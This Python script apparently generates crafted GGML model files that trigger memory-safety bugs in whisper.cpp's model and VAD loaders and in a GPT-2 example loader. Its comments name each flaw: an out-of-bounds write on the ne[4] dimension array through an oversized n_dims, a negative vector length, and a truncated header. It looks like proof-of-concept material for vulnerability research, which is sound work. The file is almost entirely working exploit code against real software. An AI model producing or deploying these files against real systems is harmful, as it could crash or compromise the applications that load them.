#!/usr/bin/env python3
import argparse
import struct
from pathlib import Path


GGML_MAGIC = 0x67676D6C


def w_i32(buf: bytearray, *values: int) -> None:
    for value in values:
        buf.extend(struct.pack("<i", value))


def w_u32(buf: bytearray, *values: int) -> None:
    for value in values:
        buf.extend(struct.pack("<I", value))


def base_whisper_header() -> bytearray:
    buf = bytearray()
    w_u32(buf, GGML_MAGIC)
    # Minimal self-consistent hparams:
    # n_vocab, n_audio_ctx, n_audio_state, n_audio_head, n_audio_layer,
    # n_text_ctx, n_text_state, n_text_head, n_text_layer, n_mels, ftype.
    w_i32(buf, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1)
    # Mel filter dimensions and one float filter value.
    w_i32(buf, 1, 1)
    buf.extend(struct.pack("<f", 0.0))
    # File vocab count. Keep this zero; loader auto-fills synthetic tokens up
    # to hparams.n_vocab and then reaches the tensor metadata loop.
    w_i32(buf, 0)
    return buf


def variant_ndims_oob() -> bytes:
    buf = base_whisper_header()
    # n_dims=5 overflows int32_t ne[4] in whisper_model_load before tensor lookup.
    w_i32(buf, 5, 1, 0)
    w_i32(buf, 1, 1, 1, 1, 1)
    buf.extend(b"x")
    return bytes(buf)


def variant_negative_length() -> bytes:
    buf = base_whisper_header()
    # Exercises std::vector<char>(length) after the weight header.
    w_i32(buf, 1, -1, 0)
    w_i32(buf, 1)
    return bytes(buf)


def variant_truncated_weight_header() -> bytes:
    buf = base_whisper_header()
    # Partial n_dims only, to compare with clean EOF behavior.
    buf.extend(struct.pack("<h", 5))
    return bytes(buf)


VARIANTS = {
    "ndims_oob": variant_ndims_oob,
    "negative_length": variant_negative_length,
    "truncated_weight_header": variant_truncated_weight_header,
}


def vad_ndims_oob() -> bytes:
    buf = bytearray()
    w_u32(buf, GGML_MAGIC)
    model_type = b"silero_vad"
    w_i32(buf, len(model_type))
    buf.extend(model_type)
    # version, n_window, n_context
    w_i32(buf, 5, 1, 2, 512, 64)
    # Four encoder layers are required by the current VAD tensor creation code.
    w_i32(buf, 4)
    for _ in range(4):
        w_i32(buf, 1, 1, 1)
    # lstm_input_size, lstm_hidden_size, final_conv_in, final_conv_out
    w_i32(buf, 1, 1, 1, 1)
    # n_dims=5 overflows int32_t ne[4] in whisper_vad_init_with_params.
    w_i32(buf, 5, 1, 0)
    w_i32(buf, 1, 1, 1, 1, 1)
    buf.extend(b"x")
    return bytes(buf)


VAD_VARIANTS = {
    "vad_ndims_oob": vad_ndims_oob,
}


def ggml_gpt2_ndims_oob() -> bytes:
    buf = bytearray()
    w_u32(buf, GGML_MAGIC)
    # n_vocab, n_ctx, n_embd, n_head, n_layer, ftype
    w_i32(buf, 1, 1, 1, 1, 0, 1)
    # vocab count and one token
    w_i32(buf, 1)
    w_u32(buf, 1)
    buf.extend(b"a")
    # gpt-2 example declares int32_t ne[2], so n_dims=3 is enough.
    w_i32(buf, 3, 1, 0)
    w_i32(buf, 1, 1, 1)
    buf.extend(b"x")
    return bytes(buf)


GGML_VARIANTS = {
    "ggml_gpt2_ndims_oob": ggml_gpt2_ndims_oob,
}


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--out-dir", default="/workspace/GGML/lab")
    args = parser.parse_args()

    out_dir = Path(args.out_dir)
    out_dir.mkdir(parents=True, exist_ok=True)

    for name, build in {**VARIANTS, **VAD_VARIANTS, **GGML_VARIANTS}.items():
        path = out_dir / f"whisper_ggml_{name}.bin"
        path.write_bytes(build())
        print(path)


if __name__ == "__main__":
    main()